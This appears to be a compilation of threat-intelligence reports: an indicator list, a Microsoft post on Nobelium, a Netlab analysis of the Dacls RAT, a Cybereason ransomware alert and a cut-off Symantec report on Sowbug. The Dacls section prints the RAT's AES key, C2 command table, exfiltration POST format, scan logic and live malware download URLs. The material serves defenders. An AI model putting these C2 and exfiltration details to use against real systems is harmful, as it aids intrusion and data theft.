A48AD33695A44DE887BBA8F2F3174FD8FB01A46A19E3EC9078B0118647CCF599 - 68452CEDF3D911013B416FE13744D59B5BD15044D9DF13178FF117EA0E05C44F - 888BA9147BA89B5713AFE031449BE46BB20972F68839BC3546A511109A496197 - 8B50E3CA06A22D0BE6A71232B320137C776F80AC3F2C81B7440B43854B8A3BF0 ### Embedded Lure Documents - 67FF9031CE8931FCB4E2AE0E72D1D3B8A67EA39257BB7759DCEA925757A85DD8 - 4A1B730A2AF2A498D452625CB952297630956B2236AE381051E91C53477E9C2D - 606C3D0AE26F6D0C17724409FBDB6960FE246FBF63B3564B06507A68BE6D2F31 - B511E05100B3A4F3515C5526D2DC3C873F66384225C174C65931744D9E682DC0 - F7E74C7FBA99E1F500A37145ADBDE8F62E3811D50E85330EBFE8B13F1C4B90CF - 73E3732EB46A05C1D5E4ED57F222B195C4C3AF4A2E5B9F2FBA37762F79BAF222 ### Domain - hxxp://wincreator[.]ddns[.]net - hxxp://bitwork[.]ddns[.]net - hxxp://winrouts[.]ddns[.]net - hxxp://widusk[.]ddns[.]net - hxxp://workusb[.]ddns[.]net - hxxp://torrent-videos[.]ddns[.]net - hxxp://sprs-files[.]ddns[.]net - hxxp://sprs-updates[.]ddns[.]net - hxxp://spread-new[.]ddns[.]net - hxxp://drop-new[.]ddns[.]net - hxxp://telo-spread[.]ddns[.]net - hxxp://dropdrop[.]ddns[.]net - hxxp://bitvers[.]ddns[.]net - hxxp://my-certificates[.]ddns[.]net - hxxp://kristousb[.]ddns[.]net - hxxp://my-work[.]ddns[.]net - hxxp://spr-d2[.]ddns[.]net - hxxp://military-ua[.]ddns[.]net - hxxp://bitlocker[.]ddns[.]net - hxxp://const-gov[.]ddns[.]net - hxxp://tor-file[.]ddns[.]net - hxxp://torrent-vnc[.]ddns[.]net - hxxp://versiya-spread[.]myftp[.]org - hxxp://spread[.]crimea[.]com - hxxp://dropper[.]crimea[.]com - hxxp://torrent-stel[.]space - hxxp://torrent-supd[.]space ### IP Addresses - 5[.]23[.]55[.]212 - 80[.]211[.]167[.]231 - 84[.]78[.]25[.]153 - 91[.]226[.]81[.]235 - 94[.]154[.]11[.]23 - 95[.]142[.]45[.]48 - 142[.]93[.]110[.]250 - 185[.]158[.]115[.]137 - 185[.]158[.]114[.]95 - 185[.]231[.]154[.]122 - 185[.]231[.]154[.]154 - 185[.]231[.]155[.]12 - 185[.]231[.]155[.]69 - 185[.]231[.]155[.]209 - 185[.]248[.]100[.]104 - 185[.]248[.]100[.]121 - 185[.]248[.]100[.]142 - 193[.]19[.]118[.]65 - 193[.]19[.]118[.]238 - 195[.]2[.]253[.]218 - 195[.]62[.]52[.]91 - 195[.]62[.]52[.]119 - 195[.]62[.]52[.]160 - 195[.]62[.]52[.]164 - 195[.]62[.]53[.]158 - 195[.]88[.]208[.]26 - 195[.]88[.]208[.]51 - 195[.]88[.]208[.]133 - 195[.]88[.]208[.]157 - 195[.]88[.]209[.]136 ## MITRE ATT&CK Techniques The following is a list of MITRE ATT&CK Techniques observed based on our analysis of these malware. ### Initial Access - T1091 Replication Through Removable Media - T1193 Spearphishing Attachment ### Execution - T1059 Command-Line Interface - T1085 Rundll32 - T1053 Scheduled Task - T1064 Scripting - T1204 User Execution - T1047 Windows Management Instrumentation ### Persistence - T1158 Hidden Files and Directories - T1060 Registry Run Keys / Startup Folder - T1053 Scheduled Task - T1023 Shortcut Modification ### Defense Evasion - T1158 Hidden Files and Directories - T1036 Masquerading - T1085 Rundll32 - T1064 Scripting - T1027 Obfuscated Files or Information ### Discovery - T1057 Process Discovery - T1012 Query Registry - T1082 System Information Discovery - T1016 System Network Configuration Discovery - T1124 System Time Discovery - T1497 Virtualization/Sandbox Evasion ### Command and Control - T1043 Commonly Used Port - T1065 Uncommonly Used Port - T1219 Remote Access Tools - T1071 Standard Application Layer Protocol
# Defend and Deter Last week, Microsoft announced that Nobelium, a skilled hacking group associated with the Russian SVR and behind the SolarWinds attack last year, was engaged in phishing attacks targeting thousands of accounts at hundreds of government and human rights agencies. Today, we’re providing an update on our continued investigation into these attacks and sharing some important context as we’ve all had a chance to learn more. As we have notified our targeted customers and watched closely for other reports, we are still not seeing evidence of any significant number of compromised organizations at this time. Antivirus services, like Microsoft Defender Antivirus, and endpoint detection and response products, such as Microsoft Defender for Endpoint, are identifying and protecting against the malware being used in this wave of attacks and are working in combination with Microsoft Defender for Office 365. We will continue to monitor the situation, but so far this is good news. We should also start to put last week’s wave of attacks into context. Why was it important to disclose these attacks? What is the significance of these attacks? And what do we think should be done? At Microsoft, we receive more than eight trillion signals every day from our network. Our expert cybersleuths use advanced technology and deep experience to comb this data for signs of attacks so that we can notify and protect our customers. We also share information about attacks we discover with the public so that others in government and the private sector can take steps to defend against adversaries and so that policymakers can be well informed. Last week’s phishing attacks were important to disclose because they were evidence of a new campaign by a sophisticated adversary. We saw and shared publicly Nobelium’s extensive experimentation in the early stages of its campaign – experiments consistent with Nobelium’s established practice to avoid detection and remain persistent in victim networks. We wanted the defender community in government and in the private sector to have this technical information as soon as possible. Our disclosure has already yielded benefits as CISA, the U.S. agency most responsible for our civil cyberdefense, used our information to identify and help protect more potential victims. But not every attack is the same, and so not every attack requires the same response. Last week’s phishing attacks were a far cry from the ransomware attacks that, in recent years, have shut down local government agencies across the U.S., interrupted health care and, most recently, stopped the flow of oil in the Colonial Pipeline. So how, then, should government respond to last week’s attacks? Some argue that governments have engaged in espionage against one another for millennia and will continue to do so in the internet age. They say that last week’s phishing attacks were “espionage as usual” and therefore do not necessitate any significant governmental response. Let’s examine this statement, with which we largely agree, by comparing this past week’s phishing to Nobelium’s SolarWinds attacks last year. The SolarWinds attacks were also called “espionage as usual” by some. We disagree. The SolarWinds attacks can be distinguished from expected espionage in two important ways. First, the attack corrupted and used the SolarWinds software update process. Online updates are how all vendors keep their customers secure and must be trusted. Using updates for malign purposes destroys that trust and risks the security of the entire digital ecosystem. In addition, the SolarWinds attacks were indiscriminate. Although malware that opened backdoors for the attacker was installed in more than 18,000 networks, the U.S. government has found only about 100 victims that had those backdoors actually used for espionage purposes. This overbroad and indiscriminate attack caused business disruption and imposed significant expense on 18,000 organizations and enterprises needlessly. This is not “espionage as usual.” Last week’s phishing attacks, in contrast, were focused on espionage targets and did not corrupt a core process essential to the security of the digital ecosystem. And, due in part to being caught early and good defensive technology, last week’s attacks were mostly unsuccessful. More impactful nation-state attacks continue to occur, however. With SolarWinds, the Exchange Server attacks from early this year and now this phishing attack, it is clear we must accelerate the work underway by the private sector and government to address our collective cybersecurity. First, we must work to better defend. The best defense is to move to the cloud, where the most secure technology from any cloud provider is always up to date, and where the fastest security innovations are occurring. All users should also employ two-factor authentication and other basic cybersecurity hygiene. The Biden Administration has taken an important step forward toward advancing our defense in issuing the recent Cybersecurity Executive Order. That EO, which will require strong collaboration between the public and private sectors to fully implement, will significantly improve the security of government agencies and the technology ecosystem broadly. The EO is a reflection of this Administration’s unprecedented commitment to cybersecurity. During the Hafnium/Exchange Server attacks earlier this year, the White House also led the formation of both an informal task force and a formal Unified Coordination Group that included, for the first time, the private sector together with government agencies, creating coordinated efforts that resulted in only minor impacts from those attacks. We need to continue to work collectively to improve our defense. Second, we must work to deter damaging attacks. Again, this Administration has already taken important steps. It attributed SolarWinds to the Russian SVR intelligence agency more rapidly than the U.S. has ever previously publicly attributed a cyberattack to a foreign nation. It also imposed sanctions for that and other actions – a step essential to deterrence. Yes, more will need to be done. Clearer rules for nation-state conduct need to be defined and agreed to by the international community, and clear and expected sanctions should be communicated for violation of those rules. For example, what exactly is the “espionage as usual” that should be tolerated, and when is this line crossed? Progress is being made through the Paris Call for Trust and Security in Cyberspace, established in 2018, which we hope the U.S. will now join. Recent United Nations processes are also resulting in consensus reports that will further the international effort to define these rules, and the Oxford Process has convened the world’s leading international law experts to define how international law applies to cyberspace. These are all encouraging steps. Progress must continue. At Microsoft we will continue our efforts across all these issues and will continue to work across the private sector, with the Administration and with all other interested governments to make this progress. Achieving stability will take time and work, but it will be time well spent. Tags: cyberattacks, cybersecurity, malware, Nobelium, phishing, SolarWinds
# Dacls, the Dual platform RAT ## Background On October 25, 2019, a suspicious ELF file (80c0efb9e129f7f9b05a783df6959812) was flagged by our new threat monitoring system. At first glance, it seems to be just another one of the regular botnets, but we soon realized this is something with potential link to the Lazarus Group. At present, the industry has never disclosed the Lazarus Group's attack samples and cases against the Linux platform. Our analysis shows that this is a fully functional, covert RAT program targeting both Windows and Linux platforms, and the samples share some key characters being used by Lazarus Group. ## The links between Lazarus Group and Dacls RAT First, we searched VT for the hardcoded strings `c_2910.cls` and `k_3872.cls` in the sample and found 5 more samples. We can confirm from their sample and C2 instruction codes that they are the same RAT family, suitable for Windows and Linux platforms, respectively. One of the 5 samples `6de65fc57a4428ad7e262e980a7f6cc7` was pointed to as Lazarus Group by the user Raeezabdulla of the VirusTotal community, and cited a report "CES Themed Targeting from Lazarus". This sample also has a download address of `https://thevagabondsatchel.com/wp-content/uploads/2019/03/wm64.avi`. In October 2019, a sample named NukeSped was tagged by Twitter user @cyberwar_15 as Lazarus Group. That sample file `b578ccf307d55d3267f98349e20ecff1` has the download URL as `http://thevagabondsatchel.com/wp-content/uploads/2019/09/public.avi`. A quick Google search returns many Lazarus Group analysis reports and some open-source threat intelligence data, many pointing out that thevagabondsatchel.com was used by Lazarus Group to store samples. Therefore, we speculate that the attacker behind Dacls RAT is Lazarus Group. Currently, this sample is shown on VirusTotal with 26 pretty generic malware tags from 26 antivirus vendors with no relevant analysis report. Therefore, we think it is necessary to disclose some of its technical details here. We name it Dacls (Win32.Dacls and Linux.Dacls) based on its file name and hard-coded strings. ## Dacls overview Dacls is a new type of remote-control software targeting both Windows and Linux environments. Its functions are modular, the C2 protocol uses TLS and RC4 double-layer encryption, the configuration file uses AES encryption, and supports C2 instruction dynamic update. The Win32.Dacls plug-in module is dynamically loaded through a remote URL, and the Linux version of the plug-in is compiled directly in the Bot program. ## Downloader server We found a series of samples on a suspected download server `http://www.areac-agr.com/cms/wp-content/uploads/2015/12/`, including Win32.Dacls, Linux.Dacls, the open-source program Socat, and working payload for Confluence CVE-2019-3396. We speculated that the Lazarus Group used the CVE-2019-3396 N-day vulnerability to spread the Dacls Bot program. - MD5 (check.vm) = a99b7ef095f44cf35453465c64f0c70c //Confluence CVE-2019-3396 Payload - MD5 (hdata.dat) = 982bf527b9fe16205fea606d1beed7fa //Log Collector - MD5 (ldata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot - MD5 (mdata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot - MD5 (r.vm) = a99b7ef095f44cf35453465c64f0c70c //Confluence CVE-2019-3396 Payload - MD5 (rdata.dat) = bea49839390e4f1eb3cb38d0fcaf897e //Windows Dacls Bot - MD5 (sdata.dat) = e883bf5fd22eb6237eb84d80bbcf2ac9 //Open-Source Socat ## Reverse analysis ### Log Collector sample - MD5: 982bf527b9fe16205fea606d1beed7fa - ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header The function of this sample is simple. It collects the target host information by specifying the parameters of the log collecting process. It avoids scanning some specified root and secondary directories, and writes the retrieved file path to `/tmp/hdv.log`. #### Avoid Scanning Root Directory - /bin - /boot - /dev - /etc - /lib - /lib32 - /lib64 - /lost+found - /sbin - /sys - /tmp - /proc - /run #### Avoid Scanning Secondary Directory - /usr/bin - /usr/etc - /usr/games - /usr/include - /usr/lib - /usr/lib32 - /usr/lib64 - /usr/libexec - /usr/sbin - /usr/share - /usr/src - /usr/tmp - /var/adm - /var/cache - /var/crash - /var/db - /var/empty - /var/games - /var/gopher - /var/kerberos - /var/lock - /var/nis - /var/preserve - /var/run - /var/yp ### Sample logging format ``` deep name type size last date 0 / D 0 000000000000 1 bin D 0 201911290628 2 bash F 1037528 201907121226 2 bunzip2 F 31352 201907040536 2 busybox F 1984584 201903070712 2 bzcat F 31352 201907040536 2 bzcmp F 2140 201907040536 ``` When all the work is done, it executes the system tar command to compress the log file `tar -cvzf /tmp/hdv.rm /tmp/hdv.log` and upload it to the specified log collecting interface. ### Linux.Dacls sample - MD5: 80c0efb9e129f7f9b05a783df6959812 - ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e14724498374cb9b80a77b7bfeb1d1bd342ee139, stripped The main functions of Linux.Dacls Bot include: command execution, file management, process management, test network access, C2 connection agent, network scanning module. #### Initialization After Linux.Dacls Bot is started, it runs in the daemon mode in the background, and uses the startup parameters `/pro`, the Bot PID file, `/var/run/init.pid`, and the Bot process name `/proc/<pid>/cmdline` to distinguish different operating environments. We suspect that it may be used for Bot program upgrades. ### Configuration file .memcache The Linux.Dacls Bot configuration file is stored at `$HOME/.memcache`, and the file content is 0x8E20 + 4 bytes. If the Bot cannot find the configuration file after startup, it will use AES encryption to generate the default configuration file based on the hard-coded information in the sample. After successful Bot communication with C2, the configuration file will get updated. ### Data structure We define the data structure information of the configuration file as `struct_global_cfg`, which stores the Bot operating parameters, C2 information, and plug-in information. ```c struct struct_plugin_cfg_data { int plugin_id; int plugin_type; int unk3; char name[1040]; }; struct struct_c2_content { char content[2048]; }; struct struct_global_cfg { int session_id; int unk_const1; int sus_version_20190417; int connect_retry_sleep_time; char unk_array1[88]; int c2_num; struct_c2_content c2_list[3]; char unknown_filed_186C[14340]; struct_plugin_cfg_data plug_cfg_data_list[15]; }; ``` ### AES encryption algorithm - AES, CBC Mode - Key: A0 D2 89 29 27 78 75 F6 AA 78 C7 98 39 A0 05 ED - IV: 39 18 82 62 33 EA 18 BB 18 30 78 97 A9 E1 8A 92 ### Decrypting the configuration file After decrypting the configuration file, we can see some plain text information in it, for example: session ID, version information, reconnection time for C2, C2 information, etc. After successfully connecting to C2, the configuration file will be updated according to received C2 instructions, such as adding new plugin information supported by the Bot, updated C2 information, etc. ### C2 protocol Linux.Dacls Bot and C2 communication is mainly divided into three stages, and uses TLS and RC4 double-layer encryption algorithms to ensure data communication security. The first phase is to establish a TLS connection, the second phase is to establish agreement for authentication process (Malware Beaconing), and the third phase is to send RC4 encrypted data by Bot. #### SSL connection **Phase 2** Several Beacon messages and C2 confirm each other's identity are exchanged here. | Cmd | Direction | Encrypted | Description | |----------|-----------|-----------|-------------| | 0x20000 | send | no | Beacon | | 0x20100 | recv | no | Beacon | | 0x20200 | send | no | Beacon | ### RC4 encryption and decryption process RC4 Key generation algorithm, generated by random function, Key length range: greater than 0 and less than 50. Replacement table generation algorithm generates replacement table for RC4 encryption based on RC4 Key. Encryption/decryption algorithm completes encryption/decryption according to the replacement table generation algorithm. Because RC4 is a symmetric encryption algorithm, the encryption/decryption algorithm is consistent. ### RC4 decryption example After completing the protocol authentication, Bot sends the RC4 Key length (the first 4 bytes) and RC4 Key data to C2. C2 receives the encryption key and sends the ciphertext to Bot. After decryption, the command is 0x00000700. After that, Bot will upload the hostname-related information to C2. **Key:** ``` a3 2f c2 10 f3 92 79 c3 0e f6 e4 e5 2e 69 29 86 0d 3a 92 f5 b7 23 fc 91 d9 46 91 55 a3 86 5a 47 36 1d 58 2a af d1 6d 3d 49 52 23 77 bc 4d fd 49 87 ``` **Ciphertext:** ``` fe 3c 2c d7 bf 08 e3 91 d7 00 1f d0 ``` **Plaintext:** ``` 00 07 00 00 00 00 00 00 00 00 00 00 ``` ### C2 instruction code table The instructions accepted by Linux.Dacls Bot are a total of 12 bytes, but the actual effective size is 4 bytes, and it is divided into two control modes. **The first mode:** when the third byte is 0, this is to control the Bot main logic. The following is an example of the network sequence data packet corresponding to the 0x00000700 instruction: the mode is 0x00, and the instruction 2 is 0x07 to control Bot to upload host name information. | INSTRUCTION 1 | INSTRUCTION 2 | MODE | UNKNOWN | |----------------|----------------|------|---------| | 00 | 07 | 00 | 00 | **The second mode:** when the third byte is 1, the plug-in logic is called. The following is an example of the network sequence data packet corresponding to the 0x00010101 instruction: the mode is 0x01, and the instruction 1 is 0x01. | INSTRUCTION 1 | INSTRUCTION 2 | MODE | UNKNOWN | |----------------|----------------|------|---------| | 01 | 01 | 01 | 00 | After receiving the instruction, Bot returns 0x20500 on successful execution and 0x20600 on failure. ### C2 instruction list for the Bot main logic part | MODULE | CMD | ENCRYPT | Description | |--------|--------------|---------|-------------| | Core | 0x00000601 | Yes | Upload C2 configuration information | | Core | 0x00000602 | Yes | Download configuration information to $HOME/.memcache | | Core | 0x00000700 | Yes | Ask Bot to upload host information | | Core | 0x00000900 | Yes | Ask Bot to send heartbeat information | ### C2 instruction list for the Bot plugin logic | MODULE | CMD | ENCRYPT | Description | |-----------------|--------------|---------|-------------| | /bin/bash | 0x00010000 | Yes | Execute the bash command issued by C2 | | /bin/bash | 0x00010002 | Yes | Connect to the specified C2 and execute the issued system command | | plugin_file | 0x00010100 | Yes | Write file | | plugin_file | 0x00010101 | Yes | Read file | | plugin_file | 0x00010103 | Yes | Delete Files | | plugin_file | 0x00010104 | Yes | Scanning the directory structure | | plugin_file | 0x00010110 | Yes | Download file from specified URL | | plugin_process | 0x00010200 | Yes | Scan and upload information about the host process | | plugin_process | 0x00010201 | Yes | Kill specified process | | plugin_process | 0x00010202 | Yes | Create a daemon process | | plugin_process | 0x00010204 | Yes | Obtain and report process PID and PPID | ### C2 communication flowchart ![C2 communication flowchart](https://blog.netlab.360.com/dacls-the-dual-platform-rat-en/) ## Plug-in module Linux.Dacls Bot uses static compilation to compile the plug-in and Bot code together. By sending different instructions to call different plug-ins, various tasks can be completed. The sample we analyzed contains a total of 6 plugins, because the configuration information of the plugin is a continuous array of structures (0x00 ~ 0x0e). We guess that Bot may have other more plugins. Each plug-in has its own corresponding configuration, which is saved in the bot’s configuration file `$HOME/.memcache`. When the plug-in is initialized, the configuration information will be loaded. ### Bash plugin The Bash plug-in is plug-in number 0, it mainly supports two functions: receiving and executing system commands issued by the C2 server; C2 issues temporary new C2, bot then connects to the temporary C2 and executes system commands issued by the temporary C2. ### File plugin The main function of the File plugin is file management. In addition to supporting read, write, delete, and find operations on files, the bot can also download files from a designated download server. ### Process plugin The main function is process management, including: killing a specified process, creating a daemon process, obtaining the PID and PPID of the current process, and obtaining process list information. If the `/proc/<pid>/task` directory corresponding to the PID in the Linux process exists, the Bot sample will collect the following process information: - `/proc/<pid>/cmdline` Read full name from command line - From `/proc/<pid>/status` reading: - Name //process name - Uid //user ID - Gid //group ID - PPid //parent ID ### Test plugin The main function is to test network connectivity by connecting the IP address and port specified by C2. ### Reverse P2P plugin The Reverse P2P plug-in is actually a C2 Connection Proxy, it directs network traffic between bots and C2 to avoid direct connections to their infrastructure. This is a commonly used technique by the Lazarus Group. With connection proxy, the number of target host connections can be reduced, and the communication between the target and the real C2 can be hidden. In some cases, an infected intranet host can be used to further penetrate into the isolated network segment. #### Reverse_p2p plugin initialization When Bot receives a command, it first attempts to connect to the specified C2 port to send a 0x21000. If C2 returns 0x21300, the C2 connection is successful and the Bot will connect to the target IP:port. If it works, it will return 0x21100 to C2, indicating that the forwarding connection has been established and can start forwarding data. Now, Bot can forward the data sent by C2 to the target, and at the same time return the data returned by the target to C2, until either party interrupts the connection. ### LogSend plugin The LogSend plug-in mainly includes three functions: test the connection to the Log server, randomly scan the entire network's 8291 port and report to the Log server, execute system commands that take a long time and report the console output to the Log server in real time. #### LogSend plugin initialization After testing the connection to the Log server, the Bot will send a test request to the Log server. If the Log server returns `{"result":"ok"}`, indicating that the test was successful, C2 can issue more LogSend instructions. Sending the POST request using the HTTP interface address specified by C2 and the built-in User-Agent. ``` POST /%s HTTP/1.0 Host: %s Content-Length: 9 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Cache-Control: no-cache Connection: close log=check ``` Randomly scan port 8291 on the entire network and report the result to the Log server. After receiving the instruction, Bot will randomly generate a public IP address according to 3 built-in rules and try to connect to their port 8291. If the connection is successful, the scan result will be returned to the log server. **IP generation rules:** ``` ip = <part1>.<part2>.<part3>.<part4> rule1: part1 != 127 rule2: part1 == 172 and (part2 <= 15 or part2 > 31) rule3: part1 != 192 and part2 != 168 rule4: part1 != 10 ``` The random IP generation algorithm is as follows: We can see that Bot hard-codes the TCP / 8291 port and calls the system connect function to perform port scan. It only checks whether the port is open and does not send payload data. We are not sure why TCP 8291 is targeted, but we know that the Winbox protocol of the MikroTik Router device works on TCP / 8291 port and is exposed on the Internet. Previously we also disclosed 2 articles about the TCP / 8291 port threat incident. ### Execute bash command which takes a long time to finish and report the console output to the Log server. Execute the bash command and forward the output to the Log server. All reported Log data is submitted by HTTP POST. The format of the payload section is as follows: ``` log=save&session_id=<session id>&value=<log content> ``` ## Suggestions We recommend that Confluence users patch their system in a timely manner and check whether they have been infected based on the process name, file name, and TCP network connection used by Dacls RAT. We recommend that readers monitor and block Dacls RAT-related IPs, URLs, and domain names. ## Contact us Readers are always welcomed to reach us on Twitter, WeChat 360Netlab, or email to netlab at 360 dot cn. ## IoC list ### Sample MD5 - 6de65fc57a4428ad7e262e980a7f6cc7 - 80c0efb9e129f7f9b05a783df6959812 - 982bf527b9fe16205fea606d1beed7fa - 8910bdaaa6d3d40e9f60523d3a34f914 - a99b7ef095f44cf35453465c64f0c70c - bea49839390e4f1eb3cb38d0fcaf897e - cef99063e85af8b065de0ffa9d26cb03 - e883bf5fd22eb6237eb84d80bbcf2ac9 ### Hard-coded C2 IP - 23.81.246.179 United States ASN19148 Leaseweb USA, Inc. - 23.254.119.12 Canada ASN55286 B2 Net Solutions Inc. - 23.227.196.116 United States ASN35017 Swiftway Sp. z o.o. - 37.72.175.179 United States ASN29802 HIVELOCITY, Inc. - 23.227.199.53 United States ASN35017 Swiftway Sp. z o.o. - 107.172.197.175 United States ASN36352 ColoCrossing - 172.93.201.219 United States ASN20278 Nexeon Technologies, Inc. - 64.188.19.117 United States ASN8100 QuadraNet Enterprises LLC - 74.121.190.121 United States ASN23033 Wowrack.com - 192.210.213.178 United States ASN36352 ColoCrossing - 209.90.234.34 United States ASN23033 Wowrack.com - 198.180.198.6 United States ASN26658 HT ### URL - `http://www.areac-agr.com/cms/wp-content/uploads/2015/12/check.vm` - `http://www.areac-agr.com/cms/wp-content/uploads/2015/12/hdata.dat` - `http://www.areac-agr.com/cms/wp-content/uploads/2015/12/ldata.dat` - `http://www.areac-agr.com/cms/wp-content/uploads/2015/12/mdata.dat` - `http://www.areac-agr.com/cms/wp-content/uploads/2015/12/r.vm` - `http://www.areac-agr.com/cms/wp-content/uploads/2015/12/rdata.dat` - `http://www.areac-agr.com/cms/wp-content/uploads/2015/12/sdata.dat`
# THREAT ALERT: Inside the Redeemer 2.0 Ransomware The Cybereason Global Security Operations Center (SOC) Team issues Cybereason Threat Alerts to inform customers of emerging impacting threats. The Alerts summarize these threats and provide practical recommendations for protecting against them. In this article, the Cybereason Research team exposes Redeemer 2.0, an updated version of the original ransomware. ## What's Happening? The malware dubbed Redeemer 2.0 is an updated variant of the Redeemer ransomware. This version differs from its older variants as it: - Infects machines running the Windows 11 Operating Systems (OS). - Keeps the OS safe from unintended damage (outside of the file encryption). - Changes the icons of encrypted files. In this article, the Cybereason Security Research Team analyzed the new release of this ransomware and how to defend against it through the Cybereason Defense Platform. ## Key Observations - In July 2022, a new version of Redeemer (v2.0) was released on an underground forum. The new variant is advertised as “easy-to-use” and supports Windows 11. - The Cybereason Defense Platform includes Anti-Ransomware and Anti-Malware capabilities that detect and prevent the ransomware payload execution. ## Analysis ### Redeemer 2.0 Toolkit Release A new and improved Redeemer 2.0 ransomware version was released on an underground forum. The author, calling himself “Cerebrate”, describes the new version as a “C++ no dependency ransomware with no privacy intrusions”, targeting the Windows OS. The build of the ransomware copies itself into the Windows directory with legitimate file names and executes itself as a new process, for example, sqlserver1.exe, svchost.exe, etc. The Cybereason Defense Platform Anti-Malware capability detects and prevents the ransomware execution. The new process executed by the Redeemer build was detected and prevented by Anti-Ransomware. ### Analysis with Cybereason Defense Platform When Anti-Ransomware is set to “Detect” mode (which means that the ransomware is detected but not prevented on purpose), it is possible to analyze the Redeemer actions on the victim machine. Redeemer ransomware 2.0 tries to: - Clear the Windows event logs. - Stop services. - Kill processes. These actions can be observed from the MalOp details for the process. ## Cybereason Recommendations The Cybereason Defense Platform detects and prevents Redeemer 2.0 infections through the Anti-ransomware feature. Cybereason recommends the following: - Enable Anti-Malware and set the Anti-Malware > Signatures mode to Prevent, Quarantine, or Disinfect. - Enable Anti-Ransomware, set Anti-Ransomware to Prevent mode, and enable canary files (with default settings). - Enable Application Control. - Keep systems fully patched: Make sure your systems are patched in order to mitigate vulnerabilities. - Regularly backup files and create a backup process and policy: Restoring your files from a backup is the fastest way to regain access to your data. ## About the Researcher Mark Tsipershtein, Security Operations Analyst at Cybereason, focuses on analysis automation and infrastructure. Mark has more than 20 years of experience in SQA, automation, and security testing. ## About the Author The Cybereason Global SOC Team delivers 24/7 Managed Detection and Response services to customers on every continent. Led by cybersecurity experts with experience working for government, the military, and multiple industry verticals, the Cybereason Global SOC Team continuously hunts for the most sophisticated and pervasive threats to support our mission to end cyberattacks on the endpoint, across the enterprise, and everywhere the battle moves.
# Sowbug: Cyber Espionage Group Targets South American and Southeast Asian Governments Symantec has identified a previously unknown group called Sowbug that has been conducting highly targeted cyber attacks against organizations in South America and Southeast Asia, focusing on foreign policy institutions and diplomatic targets. Sowbug has been seen mounting classic espionage attacks by stealing documents from the organizations it infiltrates. Symantec saw the first evidence of Sowbug-related activity with the discovery in March 2017 of a new piece of malware called Felismus used against a target in Southeast Asia. We have subsequently identified further victims on both sides of the Pacific Ocean. While the Felismus tool was first identified in March of this year, its association with Sowbug was unknown until now. Symantec has also been able to connect earlier attack campaigns with Sowbug, demonstrating that it has been active since at least early 2015 and may have been operating even earlier. To date, Sowbug appears to be focused mainly on government entities in South America and Southeast Asia and has infiltrated organizations in Argentina, Brazil, Ecuador, Peru, Brunei, and Malaysia. The group is well-resourced, capable of infiltrating multiple targets simultaneously, and often operates outside the working hours of targeted organizations to maintain a low profile. ## Highly Targeted Intrusions Some clues about the motivation and interests of the attackers can be found in their activities after compromising victims. For example, in a 2015 attack on one South American foreign ministry, the group appeared to be searching for very specific information. The first evidence of its intrusion dated from May 6, 2015, but activity appeared to have begun in earnest on May 12. The attackers seemed to be interested in one division of the ministry responsible for relations with the Asia-Pacific region. They attempted to extract all Word documents stored on a file server belonging to this division by bundling them into a RAR archive. Interestingly, the command specified that only files modified from May 11, 2015, onwards should be archived. The attackers appear to have successfully extracted the archive because an hour later they returned, this time attempting to extract all documents modified from May 7, 2015, an extra four days’ worth of data. Presumably, they either didn't find what they were looking for in the initial incursion or noticed something in the documents they stole earlier that prompted them to hunt for more information. The attackers didn’t stop there. Their next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting, again attempting to extract all Word documents. In this case, they searched for any documents modified from May 9 onwards. The attackers then seemed to broaden their interest, listing the contents of various directories on remote shares, including one belonging to another division of the South American foreign ministry, this one responsible for relations with international organizations. They also deployed two unknown payloads to the infected server. In total, the attackers maintained a presence on the target’s network for four months between May and September 2015. ## Network Traversal: Keeping a Low Profile Sowbug frequently maintains a long-term presence on the networks of targeted organizations, sometimes remaining inside a victim environment for up to six months. One of the tactics it uses to avoid drawing attention to itself is impersonating commonly used software packages such as Windows or Adobe Reader. It has never attempted to compromise the software itself. Rather, it gives its tools file names similar to those used by the software and places them in directory trees that could be mistaken for those used by the legitimate software. This allows the attackers to hide in plain sight, as their appearance in process listings is unlikely to arouse suspicion. For example, in September 2016, Sowbug infiltrated an organization in Asia, deploying the Felismus backdoor on one of its computers, using the file name adobecms.exe in CSIDL_WINDOWS\debug. From there, it installed additional components and tools to a directory named CSIDL_APPDATA\microsoft\security. The attackers then began to perform reconnaissance activities on the computer, collecting system-related information, such as the OS version, hardware configuration, and network information. They then performed further reconnaissance, attempting to identify all installed applications on the computer. They returned four days later, creating a sub-directory called “common” in the Adobe directory of the Program Files folder and installed another tool in this sub-directory, again named adobecms.exe. This was possibly an updated version of the backdoor. The attackers’ network reconnaissance appeared to be successful because a second computer of interest in the organization was identified and compromised. The attackers then returned to the first computer, installing another executable called fb.exe. This file appears to be used to copy Felismus across the network to other computers, and there is evidence that the attackers used it to attempt to infect at least two more computers. The attackers took further measures to remain under the radar by carrying out their operations outside of standard office hours. In this case, the attackers maintained a presence on the target’s network for nearly six months between September 2016 and March 2017. ## Infection Vectors How Sowbug performs its initial infiltration of a target’s network remains unknown. In some cases, there was no trace of how Felismus made its way onto compromised computers, meaning it was likely deployed from other compromised computers on the network. In other attacks, there was evidence that Felismus was installed using a tool known as Starloader. This is a loader that installs and decrypts data from a file called Stars.jpg. Additionally, Starloader was also observed deploying additional tools used by the attackers, such as credential dumpers and keyloggers. It is still unknown how Starloader is installed on the compromised computer. One possibility is that the attackers use fake software updates to install files. Symantec has found evidence of Starloader files being named AdobeUpdate.exe, AcrobatUpdate.exe, and INTELUPDATE.EXE among others. These were used to create versions of the Felismus backdoor as well as other tools. ## Global Threat While cyber espionage attacks are often seen against targets in the U.S., Europe, and Asia, it is much less common to see South American countries targeted. However, the number of active cyber espionage operations has increased steadily in recent years, and the emergence of Sowbug is a reminder that no region is immune to this kind of threat. ## Protection Symantec customers are protected against Sowbug, and Symantec has also made efforts to notify identified targets of its operations. Customers with Intelligence Services or WebFilter-enabled products are protected against activity associated with the Sowbug group. These products include: - Web Security Service (WSS) - ProxySG - 